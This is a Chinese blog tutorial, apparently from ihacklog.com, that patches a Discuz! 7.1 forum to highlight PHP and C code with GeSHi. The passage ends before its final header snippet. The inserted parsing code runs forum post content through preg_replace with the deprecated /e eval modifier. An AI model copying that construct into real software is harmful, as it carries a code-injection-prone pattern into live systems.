<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br />32<br />33<br />34<br />35<br />36<br />37<br />38<br />39<br />40<br />41<br />42<br />43<br />44<br />45<br />46<br />47<br />48<br />49<br />50<br />51<br />52<br />53<br />54<br />55<br />56<br />57<br />58<br />59<br />60<br />61<br />62<br />63<br />64<br />65<br />66<br />67<br />68<br />69<br />70<br />71<br />72<br />73<br />74<br />75<br />76<br />77<br />78<br />79<br />80<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//////Discuz!7.1实现PHP代码高亮 &nbsp;by 荒野无灯 &nbsp; http://www.ihacklog.com//////</span><br />
<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'./include/my/geshi.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<br />
&nbsp;<span style="color: #000000; font-weight: bold;">function</span> PerformHighlightGeshi<span style="color: #009900;">&#40;</span><span style="color: #000088;">$content</span><span style="color: #339933;">,</span> <span style="color: #000088;">$options</span><span style="color: #339933;">,</span><span style="color: #000088;">$lang</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'php'</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #666666; font-style: italic;">/* Geshi configuration */</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$geshi</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #000088;">$geshi</span><span style="color: #339933;">=</span> <span style="color: #000000; font-weight: bold;">new</span> GeSHi<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">enable_line_numbers</span><span style="color: #009900;">&#40;</span>GESHI_NO_LINE_NUMBERS<span style="color: #339933;">,</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_source</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$content</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_language</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$lang</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_overall_class</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'codecolorer'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #666666; font-style: italic;">// &nbsp;$geshi-&gt;set_tab_width($options['tab_size']);</span><br />
<br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">enable_classes</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'nowrap'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_overall_style</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'white-space:nowrap'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_overall_style</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><a href="http://www.php.net/is_null"><span style="color: #990000;">is_null</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'strict'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">enable_strict_mode</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'strict'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'no_links'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">enable_keyword_links</span><span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">false</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'inline'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_header_type</span><span style="color: #009900;">&#40;</span>GESHI_HEADER_NONE<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">set_header_type</span><span style="color: #009900;">&#40;</span>GESHI_HEADER_DIV<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">parse_code</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$geshi</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">error</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'line_numbers'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'inline'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <br />
&nbsp;<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$table</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'&lt;table cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td '</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$table</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'class=&quot;line-numbers&quot;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #000088;">$table</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">'&gt;&lt;div&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/substr_count"><span style="color: #990000;">substr_count</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$result</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&lt;br /&gt;'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span> <span style="color: #339933;">&lt;</span> <span style="color: #000088;">$count</span><span style="color: #339933;">;</span> <span style="color: #000088;">$i</span><span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$table</span> <span style="color: #339933;">.=</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$i</span> <span style="color: #339933;">+</span> <span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'first_line'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;br /&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$table</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/div&gt;&lt;/td&gt;&lt;td&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$result</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; &nbsp;<span style="color: #000088;">$theme</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/empty"><span style="color: #990000;">empty</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'inline_theme'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> ? <span style="color: #0000ff;">'default'</span> <span style="color: #339933;">:</span> <span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'inline_theme'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$css_class</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'codecolorer-container '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$lang</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">' '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$theme</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'noborder'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #000088;">$css_class</span> <span style="color: #339933;">.=</span> <span style="color: #0000ff;">' codecolorer-noborder'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$result</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'&lt;div class=&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$css_class</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; '</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$style</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&gt;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$result</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&lt;/div&gt;'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp;<span style="color: #b1b100;">return</span> <span style="color: #000088;">$result</span><span style="color: #339933;">;</span><br />
&nbsp; <span style="color: #009900;">&#125;</span><br />
<br />
<br />
&nbsp; <br />
<br />
<br />
<span style="color: #000000; font-weight: bold;">function</span> mycodedisp<span style="color: #009900;">&#40;</span><span style="color: #000088;">$code</span><span style="color: #339933;">,</span><span style="color: #000088;">$lang</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$discuzcodes</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pcodecount'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span><br />
<br />
<br />
<br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'line_numbers'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'inline'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp;<span style="color: #000088;">$options</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'nowrap'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span> <br />
&nbsp; &nbsp; <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span>PerformHighlightGeshi<span style="color: #009900;">&#40;</span><a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'\\&quot;'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'&quot;'</span><span style="color: #339933;">,</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/^[<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span>]*(.+?)[<span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span>]*$/is&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\\</span>1&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$code</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$options</span><span style="color: #339933;">,</span><span style="color: #000088;">$lang</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <br />
&nbsp; &nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'codehtml'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'pcodecount'</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;&lt;div id=<span style="color: #000099; font-weight: bold;">\&quot;</span>code<span style="color: #006699; font-weight: bold;">$discuzcodes[codecount]</span><span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;<span style="color: #006699; font-weight: bold;">$code</span>&lt;/div&gt;&lt;em onclick=<span style="color: #000099; font-weight: bold;">\&quot;</span>copycode($('code<span style="color: #006699; font-weight: bold;">$discuzcodes[codecount]</span>'));<span style="color: #000099; font-weight: bold;">\&quot;</span>&gt;复制&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$lang</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;代码到剪贴板&lt;/em&gt;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$discuzcodes</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'codecount'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;[<span style="color: #000099; font-weight: bold;">\t</span>DISCUZ_CODE_<span style="color: #006699; font-weight: bold;">$discuzcodes[pcodecount]</span><span style="color: #000099; font-weight: bold;">\t</span>]&quot;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<br />
<br />
<span style="color: #666666; font-style: italic;">//////Discuz!7.1实现PHP代码高亮 &nbsp;by 荒野无灯 &nbsp; http://www.ihacklog.com//////</span></div></td></tr></tbody></table></div>
<p>再在这个文件中查找：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> discuzcode<span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #000088;">$smileyoff</span><span style="color: #339933;">,</span> <span style="color: #000088;">$bbcodeoff</span><span style="color: #339933;">,</span> <span style="color: #000088;">$htmlon</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowsmilies</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowbbcode</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowimgcode</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowhtml</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$jammer</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span> <span style="color: #000088;">$parsetype</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'0'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$authorid</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'0'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$allowmediacode</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'0'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$pid</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$discuzcodes</span><span style="color: #339933;">,</span> <span style="color: #000088;">$credits</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$discuz_uid</span><span style="color: #339933;">,</span> <span style="color: #000088;">$highlight</span><span style="color: #339933;">,</span> <span style="color: #000088;">$maxsmilies</span><span style="color: #339933;">,</span> <span style="color: #000088;">$db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$tablepre</span><span style="color: #339933;">,</span> <span style="color: #000088;">$hideattach</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$parsetype</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span><span style="color: #000088;">$bbcodeoff</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$allowbbcode</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/code]'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/CODE]'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/\s*\[code\](.+?)\[\/code\]\s*/ies&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;codedisp('<span style="color: #000099; font-weight: bold;">\\</span>1')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>在其下加上如下代码：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//////Discuz!7.1实现PHP代码高亮 &nbsp;by 荒野无灯 &nbsp; http://www.ihacklog.com//////</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$parsetype</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span><span style="color: #000088;">$bbcodeoff</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$allowbbcode</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/php]'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/php]'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/\s*\[php\](.+?)\[\/php\]\s*/ies&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;mycodedisp('<span style="color: #000099; font-weight: bold;">\\</span>1','php')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #009900;">&#125;</span><br />
<br />
&nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$parsetype</span> <span style="color: #339933;">!=</span> <span style="color: #cc66cc;">1</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #339933;">!</span><span style="color: #000088;">$bbcodeoff</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #000088;">$allowbbcode</span> <span style="color: #339933;">&amp;&amp;</span> <span style="color: #009900;">&#40;</span><a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/c]'</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">||</span> <a href="http://www.php.net/strpos"><span style="color: #990000;">strpos</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$message</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'[/c]'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!==</span> <span style="color: #009900; font-weight: bold;">FALSE</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/preg_replace"><span style="color: #990000;">preg_replace</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;/\s*\[c\](.+?)\[\/c\]\s*/ies&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;mycodedisp('<span style="color: #000099; font-weight: bold;">\\</span>1','c')&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
<span style="color: #009900;">&#125;</span><br />
&nbsp;<span style="color: #666666; font-style: italic;">//////Discuz!7.1实现PHP代码高亮 &nbsp;by 荒野无灯 &nbsp; http://www.ihacklog.com//////</span></div></td></tr></tbody></table></div>
<p><strong>2，下载bb_php.gif 和bb_c.gif图标文件，上传到images/common/目录下。</strong></p>
注意：该页面嵌入了下载文件，请访问 <a href="http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html">该页面</a>下载该文件。
<p><strong>3，下载下面这个文件夹，解压后上传到/include目录下。</strong></p>
注意：该页面嵌入了下载文件，请访问 <a href="http://ihacklog.com/php/discuz/discuz7-1php-code-highlight.html">该页面</a>下载该文件。
<p><strong>4，修改templates/default/header.htm</strong><br />
在</p>
<div class="codecolorer-container javascript default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="javascript codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #339933;">&lt;</span>script type<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;text/javascript&quot;</span> src<span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;{$jspath}common.js?{VERHASH}&quot;</span><span style="color: #339933;">&gt;&lt;/</span>script<span style="color: #339933;">&gt;</span></div></td></tr></tbody></table></div>
<p>这一行下面加上如下代码:</p>
